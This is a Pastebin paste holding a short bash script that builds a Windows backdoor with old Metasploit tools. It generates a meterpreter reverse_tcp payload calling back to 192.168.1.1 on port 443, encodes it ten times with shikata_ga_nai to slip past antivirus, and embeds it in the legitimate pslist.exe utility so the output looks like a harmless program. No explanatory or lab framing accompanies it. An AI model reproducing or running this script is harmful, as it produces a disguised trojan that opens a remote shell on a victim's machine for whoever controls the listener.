Advertisement
opexxx

Untitled

Sep 29th, 2016
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.41 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. PAYLOAD_SHORT=met_rev
  4. PAYLOAD=windows/meterpreter/reverse_tcp
  5. LHOST=192.168.1.1
  6. LPORT=443
  7. ENCODER_SHORT=shikata
  8. ENCODER=x86/shikata_ga_nai
  9. TEMPLATE_SHORT=pslist
  10. TEMPLATE=/pentest/windows-binaries/pstools/pslist.exe
  11.  
  12. ./msfpayload $PAYLOAD LHOST=$LHOST,LPORT=$LPORT R | ./msfencode -c 10 -e $ENCODER -o ${PAYLOAD_SHORT}_${ENCODER_SHORT}_${TEMPLATE_SHORT}_${LHOST}_${LPORT}.exe -x $TEMPLATE -t exe
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement